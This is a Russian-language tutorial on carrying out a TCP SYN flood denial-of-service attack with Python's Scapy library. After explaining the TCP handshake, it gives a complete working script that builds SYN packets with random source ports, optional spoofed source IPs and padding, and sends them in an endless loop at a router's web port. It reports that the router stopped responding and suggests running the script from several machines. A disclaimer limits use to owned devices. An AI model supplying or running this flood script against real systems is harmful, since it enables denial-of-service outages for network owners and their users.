Как осуществить атаку SYN Flooding в Python
Узнайте, как использовать библиотеку Scapy в Python для проведения атаки TCP SYN Flooding, которая является разновидностью атаки типа “отказ в обслуживании”.
Атака SYN flood – это распространенная форма атаки типа “отказ в обслуживании”, при которой злоумышленник посылает последовательность SYN-запросов целевой системе (это может быть маршрутизатор, межсетевой экран, система предотвращения вторжений (IPS) и т.д.) с целью потребления ее ресурсов, не позволяя легитимным клиентам установить обычное соединение.
TCP SYN flood использует первую часть трехстороннего рукопожатия TCP, а поскольку каждое соединение, использующее протокол TCP, требует этого, данная атака оказывается опасной и может вывести из строя несколько компонентов сети.
Чтобы понять, что такое SYN flood, нам сначала нужно поговорить о трехстороннем рукопожатии TCP:
Когда клиент хочет установить соединение с сервером по протоколу TCP, клиент и сервер обмениваются серией сообщений:
- Клиент запрашивает соединение, посылая серверу сообщение SYN.
- Сервер отвечает сообщением SYN-ACK (подтверждает запрос).
- Клиент отвечает ответным сообщением ACK, после чего начинается соединение.
Атака SYN flood подразумевает, что злоумышленник многократно посылает SYN-пакеты без ответа ACK, причем часто с разными портами источника, из-за чего сервер не знает об атаке и отвечает на каждую попытку пакетом SYN-ACK с каждого порта (красная и зеленая часть изображения выше). Таким образом, сервер быстро становится невосприимчивым к легитимным клиентам.
В этой статье будет реализована атака SYN flood с использованием библиотеки Scapy в Python. Чтобы начать, вам необходимо установить Scapy:
pip3 install scapy
Откройте новый файл Python и импортируйте Scapy:
from scapy.all import *
Я собираюсь проверить это на своем локальном маршрутизаторе, который имеет частный IP-адрес 192.168.1.1:
# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80
Если вы хотите попробовать это на своем маршрутизаторе, убедитесь, что у вас есть правильный IP-адрес, вы можете получить адрес шлюза по умолчанию с помощью команд ipconfig и ip route в Windows и macOS/Linux соответственно.
Целевым портом является HTTP, так как я хочу залить веб-интерфейс моего маршрутизатора. Теперь давайте подделаем наш SYN-пакет, начиная с IP-уровня:
# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)
Мы указали dst в качестве целевого IP-адреса, мы также можем установить src-адрес на поддельный случайный IP-адрес в диапазоне частной сети (закомментированный код), и он также будет работать.
Давайте подделаем наш TCP уровень:
# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
Итак, мы устанавливаем порт источника (sport) на случайное короткое значение (которое варьируется от 1 до 65535, как и порты) и dport (порт назначения) в качестве целевого порта. В данном случае это служба HTTP.
Мы также установили флаги на “S”, что указывает на тип SYN.
Теперь давайте добавим немного исходных данных для флуда, чтобы занять сеть:
# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)
Отлично, теперь давайте сложим слои и отправим пакет:
# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected
send(p, loop=1, verbose=0)
Итак, мы использовали функцию send(), которая отправляет пакеты на уровне 3, мы установили loop на 1, чтобы продолжать отправку до нажатия CTRL+C, установив verbose на 0, мы не будем ничего печатать во время процесса (тишина).
Сценарий готов! Теперь, когда я запустил его на своем маршрутизаторе, прошло несколько секунд, и, конечно, маршрутизатор перестал работать, и я потерял соединение:
Это результат выполнения следующей команды в Windows:
$ ping -t "192.168.1.1"
Он был захвачен с другой машины, отличной от атакующей, поэтому маршрутизатор больше не отвечает.
Чтобы вернуть все в нормальное состояние, вы можете либо остановить атаку (нажав CTRL+C), либо, если устройство все еще не отвечает, перезагрузить его.
Заключение
Хорошо! Мы закончили. Если вы попробуете запустить скрипт на локальном компьютере, вы заметите, что задержка значительно увеличится. Вы также можете запустить скрипт на нескольких терминалах или даже на других машинах. Проверьте, сможете ли вы отключить сеть локального компьютера!
Отказ от ответственности: Пожалуйста, не используйте это на устройствах, которые вам не принадлежат или на которые у вас нет разрешения. Мы не несем никакой ответственности. Эта статья написана только в образовательных целей.